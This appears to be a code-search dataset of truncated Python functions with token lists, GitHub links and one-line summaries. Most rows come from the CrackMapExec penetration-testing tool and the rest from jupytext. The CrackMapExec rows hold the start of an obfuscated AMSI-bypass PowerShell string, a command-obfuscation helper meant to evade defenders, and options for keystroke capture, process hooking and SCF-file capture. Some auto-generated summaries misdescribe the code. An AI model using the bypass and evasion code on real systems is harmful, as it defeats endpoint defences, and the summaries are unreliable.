cme/helpers/powershell.py
create_ps_command
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
python
def create_ps_command(ps_command, force_ps32=False, dont_obfs=False): amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} try{ [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($n...
[ "def", "create_ps_command", "(", "ps_command", ",", "force_ps32", "=", "False", ",", "dont_obfs", "=", "False", ")", ":", "amsi_bypass", "=", "\"\"\"[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}\ntry{\n[Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'o...
if is_powershell_installed(): temp = tempfile.NamedTemporaryFile(prefix='cme_', suffix='.ps1', dir='/tmp') temp.write(command) temp.read() encoding_types = [1,2,3,4,5,6] while True: ...
[ "if", "is_powershell_installed", "()", ":" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L70-L154
train
Create a command that runs the given command on the current host.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/helpers/powershell.py
invoke_obfuscation
def invoke_obfuscation(scriptString): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random dxelimiters called randomDelimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ...
python
def invoke_obfuscation(scriptString): # Add letters a-z with random case to $RandomDelimiters. alphabet = ''.join(choice([i.upper(), i]) for i in ascii_lowercase) # Create list of random dxelimiters called randomDelimiters. # Avoid using . * ' " [ ] ( ) etc. as delimiters as these will cause problems ...
[ "def", "invoke_obfuscation", "(", "scriptString", ")", ":", "# Add letters a-z with random case to $RandomDelimiters.", "alphabet", "=", "''", ".", "join", "(", "choice", "(", "[", "i", ".", "upper", "(", ")", ",", "i", "]", ")", "for", "i", "in", "ascii_lower...
# Array to store all selected PowerShell execution flags. powerShellFlags = [] noProfile = '-nop' nonInteractive = '-noni' windowStyle = '-w' # Build the PowerShell execution flags by randomly selecting execution flags substrings and randomizing the order. # This is to prevent Blue Team from p...
[ "#", "Array", "to", "store", "all", "selected", "PowerShell", "execution", "flags", ".", "powerShellFlags", "=", "[]" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/helpers/powershell.py#L242-L392
train
This function is used to invoke the obfuscation command.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/scuffy.py
CMEModule.options
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEAN...
python
def options(self, context, module_options): ''' SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False) ''' self.cleanup = False if 'CLEANUP' in module_options: self.cleanup = bool(module_options['CLEAN...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "cleanup", "=", "False", "if", "'CLEANUP'", "in", "module_options", ":", "self", ".", "cleanup", "=", "bool", "(", "module_options", "[", "'CLEANUP'", "]", ")", ...
SERVER IP of the SMB server NAME SCF file name CLEANUP Cleanup (choices: True or False)
[ "SERVER", "IP", "of", "the", "SMB", "server", "NAME", "SCF", "file", "name", "CLEANUP", "Cleanup", "(", "choices", ":", "True", "or", "False", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/scuffy.py#L19-L49
train
This function is called when the module is loaded from the command line.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/servers/http.py
RequestHandler.stop_tracking_host
def stop_tracking_host(self): ''' This gets called when a module has finshed executing, removes the host from the connection tracker list ''' try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, 'on_shutdown'): s...
python
def stop_tracking_host(self): ''' This gets called when a module has finshed executing, removes the host from the connection tracker list ''' try: self.server.hosts.remove(self.client_address[0]) if hasattr(self.server.module, 'on_shutdown'): s...
[ "def", "stop_tracking_host", "(", "self", ")", ":", "try", ":", "self", ".", "server", ".", "hosts", ".", "remove", "(", "self", ".", "client_address", "[", "0", "]", ")", "if", "hasattr", "(", "self", ".", "server", ".", "module", ",", "'on_shutdown'"...
This gets called when a module has finshed executing, removes the host from the connection tracker list
[ "This", "gets", "called", "when", "a", "module", "has", "finshed", "executing", "removes", "the", "host", "from", "the", "connection", "tracker", "list" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/servers/http.py#L30-L39
train
This gets called when a module has finshed executing and removes the host from the connection tracker list This gets called when a module has finshed executing and notifies the module on_shutdown method.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/netripper.py
CMEModule.options
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_...
python
def options(self, context, module_options): ''' PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync) ''' self.process = None if 'PROCESS' in module_options: self.process = module_...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "self", ".", "process", "=", "None", "if", "'PROCESS'", "in", "module_options", ":", "self", ".", "process", "=", "module_options", "[", "'PROCESS'", "]", "else", ":", "context...
PROCESS Process to hook, only x86 processes are supported by NetRipper currently (Choices: firefox, chrome, putty, winscp, outlook, lync)
[ "PROCESS", "Process", "to", "hook", "only", "x86", "processes", "are", "supported", "by", "NetRipper", "currently", "(", "Choices", ":", "firefox", "chrome", "putty", "winscp", "outlook", "lync", ")" ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/netripper.py#L21-L42
train
Initialize the object with the options from the module.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/modules/get_keystrokes.py
CMEModule.options
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' ...
python
def options(self, context, module_options): ''' TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20) ''' ...
[ "def", "options", "(", "self", ",", "context", ",", "module_options", ")", ":", "if", "'TIMEOUT'", "not", "in", "module_options", ":", "context", ".", "log", ".", "error", "(", "'TIMEOUT option is required!'", ")", "exit", "(", "1", ")", "self", ".", "stre...
TIMEOUT Specifies the interval in minutes to capture keystrokes. STREAM Specifies whether to stream the keys over the network (default: False) POLL Specifies the interval in seconds to poll the log file (default: 20)
[ "TIMEOUT", "Specifies", "the", "interval", "in", "minutes", "to", "capture", "keystrokes", ".", "STREAM", "Specifies", "whether", "to", "stream", "the", "keys", "over", "the", "network", "(", "default", ":", "False", ")", "POLL", "Specifies", "the", "interval"...
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/modules/get_keystrokes.py#L20-L51
train
This function is called by the module when the user presses Ctrl - C to set up the keystrokes.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
byt3bl33d3r/CrackMapExec
cme/protocols/smb/db_navigator.py
navigator.complete_hosts
def complete_hosts(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." commands = ["add", "remove", "dc"] mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)]
python
def complete_hosts(self, text, line, begidx, endidx): "Tab-complete 'creds' commands." commands = ["add", "remove", "dc"] mline = line.partition(' ')[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)]
[ "def", "complete_hosts", "(", "self", ",", "text", ",", "line", ",", "begidx", ",", "endidx", ")", ":", "commands", "=", "[", "\"add\"", ",", "\"remove\"", ",", "\"dc\"", "]", "mline", "=", "line", ".", "partition", "(", "' '", ")", "[", "2", "]", ...
Tab-complete 'creds' commands.
[ "Tab", "-", "complete", "creds", "commands", "." ]
333f1c4e06884e85b2776459963ef85d182aba8e
https://github.com/byt3bl33d3r/CrackMapExec/blob/333f1c4e06884e85b2776459963ef85d182aba8e/cme/protocols/smb/db_navigator.py#L255-L262
train
Tab - complete creds commands.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/magics.py
is_magic
def is_magic(line, language, global_escape_flag=True): """Is the current line a (possibly escaped) Jupyter magic, and should it be commented?""" if language in ['octave', 'matlab']: return False if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line): return True ...
python
def is_magic(line, language, global_escape_flag=True): """Is the current line a (possibly escaped) Jupyter magic, and should it be commented?""" if language in ['octave', 'matlab']: return False if _MAGIC_FORCE_ESC_RE.get(language, _MAGIC_FORCE_ESC_RE['python']).match(line): return True ...
[ "def", "is_magic", "(", "line", ",", "language", ",", "global_escape_flag", "=", "True", ")", ":", "if", "language", "in", "[", "'octave'", ",", "'matlab'", "]", ":", "return", "False", "if", "_MAGIC_FORCE_ESC_RE", ".", "get", "(", "language", ",", "_MAGIC...
Is the current line a (possibly escaped) Jupyter magic, and should it be commented?
[ "Is", "the", "current", "line", "a", "(", "possibly", "escaped", ")", "Jupyter", "magic", "and", "should", "it", "be", "commented?" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L29-L43
train
Is the current line a Jupyter magic and should it be commented?
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/magics.py
comment_magic
def comment_magic(source, language='python', global_escape_flag=True): """Escape Jupyter magics with '# '""" parser = StringParser(language) next_is_magic = False for pos, line in enumerate(source): if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)): ...
python
def comment_magic(source, language='python', global_escape_flag=True): """Escape Jupyter magics with '# '""" parser = StringParser(language) next_is_magic = False for pos, line in enumerate(source): if not parser.is_quoted() and (next_is_magic or is_magic(line, language, global_escape_flag)): ...
[ "def", "comment_magic", "(", "source", ",", "language", "=", "'python'", ",", "global_escape_flag", "=", "True", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "next_is_magic", "=", "False", "for", "pos", ",", "line", "in", "enumerate", "(", ...
Escape Jupyter magics with '#
[ "Escape", "Jupyter", "magics", "with", "#" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L46-L55
train
Escape Jupyter magics with '# "'
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/magics.py
unesc
def unesc(line, language): """Uncomment once a commented line""" comment = _COMMENT[language] if line.startswith(comment + ' '): return line[len(comment) + 1:] if line.startswith(comment): return line[len(comment):] return line
python
def unesc(line, language): """Uncomment once a commented line""" comment = _COMMENT[language] if line.startswith(comment + ' '): return line[len(comment) + 1:] if line.startswith(comment): return line[len(comment):] return line
[ "def", "unesc", "(", "line", ",", "language", ")", ":", "comment", "=", "_COMMENT", "[", "language", "]", "if", "line", ".", "startswith", "(", "comment", "+", "' '", ")", ":", "return", "line", "[", "len", "(", "comment", ")", "+", "1", ":", "]", ...
Uncomment once a commented line
[ "Uncomment", "once", "a", "commented", "line" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L58-L65
train
Uncomment once a commented line
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/magics.py
escape_code_start
def escape_code_start(source, ext, language='python'): """Escape code start with '# '""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +...
python
def escape_code_start(source, ext, language='python'): """Escape code start with '# '""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): source[pos] = _SCRIPT_EXTENSIONS.get(ext, {}).get('comment', '#') +...
[ "def", "escape_code_start", "(", "source", ",", "ext", ",", "language", "=", "'python'", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "for", "pos", ",", "line", "in", "enumerate", "(", "source", ")", ":", "if", "not", "parser", ".", "...
Escape code start with '#
[ "Escape", "code", "start", "with", "#" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L91-L98
train
Escape code start with '#
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/magics.py
unescape_code_start
def unescape_code_start(source, ext, language='python'): """Unescape code start""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): unescaped = unesc(line, language) # don't remove comment char...
python
def unescape_code_start(source, ext, language='python'): """Unescape code start""" parser = StringParser(language) for pos, line in enumerate(source): if not parser.is_quoted() and is_escaped_code_start(line, ext): unescaped = unesc(line, language) # don't remove comment char...
[ "def", "unescape_code_start", "(", "source", ",", "ext", ",", "language", "=", "'python'", ")", ":", "parser", "=", "StringParser", "(", "language", ")", "for", "pos", ",", "line", "in", "enumerate", "(", "source", ")", ":", "if", "not", "parser", ".", ...
Unescape code start
[ "Unescape", "code", "start" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/magics.py#L101-L111
train
Unescape code start in source.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/metadata_filter.py
metadata_filter_as_dict
def metadata_filter_as_dict(metadata_config): """Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all'""" if metadata_config is None: return {} ...
python
def metadata_filter_as_dict(metadata_config): """Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all'""" if metadata_config is None: return {} ...
[ "def", "metadata_filter_as_dict", "(", "metadata_config", ")", ":", "if", "metadata_config", "is", "None", ":", "return", "{", "}", "if", "metadata_config", "is", "True", ":", "return", "{", "'additional'", ":", "'all'", "}", "if", "metadata_config", "is", "Fa...
Return the metadata filter represented as either None (no filter), or a dictionary with at most two keys: 'additional' and 'excluded', which contain either a list of metadata names, or the string 'all
[ "Return", "the", "metadata", "filter", "represented", "as", "either", "None", "(", "no", "filter", ")", "or", "a", "dictionary", "with", "at", "most", "two", "keys", ":", "additional", "and", "excluded", "which", "contain", "either", "a", "list", "of", "me...
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L6-L43
train
Return the metadata filter represented as a dictionary.
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/metadata_filter.py
metadata_filter_as_string
def metadata_filter_as_string(metadata_filter): """Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string""" if not isinstance(metadata_filter, dict): return metadata_filter additional = metadata_filter.get('additional', []) if additional == 'all': ...
python
def metadata_filter_as_string(metadata_filter): """Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string""" if not isinstance(metadata_filter, dict): return metadata_filter additional = metadata_filter.get('additional', []) if additional == 'all': ...
[ "def", "metadata_filter_as_string", "(", "metadata_filter", ")", ":", "if", "not", "isinstance", "(", "metadata_filter", ",", "dict", ")", ":", "return", "metadata_filter", "additional", "=", "metadata_filter", ".", "get", "(", "'additional'", ",", "[", "]", ")"...
Convert a filter, represented as a dictionary with 'additional' and 'excluded' entries, to a string
[ "Convert", "a", "filter", "represented", "as", "a", "dictionary", "with", "additional", "and", "excluded", "entries", "to", "a", "string" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L46-L63
train
Convert a filter represented as a dictionary with additional and excluded entries to a string
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/metadata_filter.py
update_metadata_filters
def update_metadata_filters(metadata, jupyter_md, cell_metadata): """Update or set the notebook and cell metadata filters""" cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']] if 'cell_metadata_filter' in metadata.get('jupytext', {}): metadata_filter = metadata_filte...
python
def update_metadata_filters(metadata, jupyter_md, cell_metadata): """Update or set the notebook and cell metadata filters""" cell_metadata = [m for m in cell_metadata if m not in ['language', 'magic_args']] if 'cell_metadata_filter' in metadata.get('jupytext', {}): metadata_filter = metadata_filte...
[ "def", "update_metadata_filters", "(", "metadata", ",", "jupyter_md", ",", "cell_metadata", ")", ":", "cell_metadata", "=", "[", "m", "for", "m", "in", "cell_metadata", "if", "m", "not", "in", "[", "'language'", ",", "'magic_args'", "]", "]", "if", "'cell_me...
Update or set the notebook and cell metadata filters
[ "Update", "or", "set", "the", "notebook", "and", "cell", "metadata", "filters" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L66-L86
train
Update or set the notebook and cell metadata filters
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/metadata_filter.py
apply_metadata_filters
def apply_metadata_filters(user_filter, default_filter, actual_keys): """Apply the filter and replace 'all' with the actual or filtered keys""" default_filter = metadata_filter_as_dict(default_filter) or {} user_filter = metadata_filter_as_dict(user_filter) or {} for key in ['additional', 'excluded']:...
python
def apply_metadata_filters(user_filter, default_filter, actual_keys): """Apply the filter and replace 'all' with the actual or filtered keys""" default_filter = metadata_filter_as_dict(default_filter) or {} user_filter = metadata_filter_as_dict(user_filter) or {} for key in ['additional', 'excluded']:...
[ "def", "apply_metadata_filters", "(", "user_filter", ",", "default_filter", ",", "actual_keys", ")", ":", "default_filter", "=", "metadata_filter_as_dict", "(", "default_filter", ")", "or", "{", "}", "user_filter", "=", "metadata_filter_as_dict", "(", "user_filter", "...
Apply the filter and replace 'all' with the actual or filtered keys
[ "Apply", "the", "filter", "and", "replace", "all", "with", "the", "actual", "or", "filtered", "keys" ]
eb7d6aee889f80ad779cfc53441c648f0db9246d
https://github.com/mwouts/jupytext/blob/eb7d6aee889f80ad779cfc53441c648f0db9246d/jupytext/metadata_filter.py#L89-L119
train
Apply the filter and replace all with the actual or filtered keys
Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL...
mwouts/jupytext
jupytext/metadata_filter.py
filter_metadata
def filter_metadata(metadata, user_filter, default_filter): """Filter the cell or notebook metadata, according to the user preference""" actual_keys = set(metadata.keys()) keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys) for key in actual_keys: if key not in keep_key...
python
def filter_metadata(metadata, user_filter, default_filter): """Filter the cell or notebook metadata, according to the user preference""" actual_keys = set(metadata.keys()) keep_keys = apply_metadata_filters(user_filter, default_filter, actual_keys) for key in actual_keys: if key not in keep_key...
[ "def", "filter_metadata", "(", "metadata", ",", "user_filter", ",", "default_filter", ")", ":", "actual_keys", "=", "set", "(", "metadata", ".", "keys", "(", ")", ")", "keep_keys", "=", "apply_metadata_filters", "(", "user_filter", ",", "default_filter", ",", ...
Filter the cell or notebook metadata, according to the user preference
[ "Filter", "the", "cell", "or", "notebook", "metadata", "according", "to", "the", "user", "preference" ]
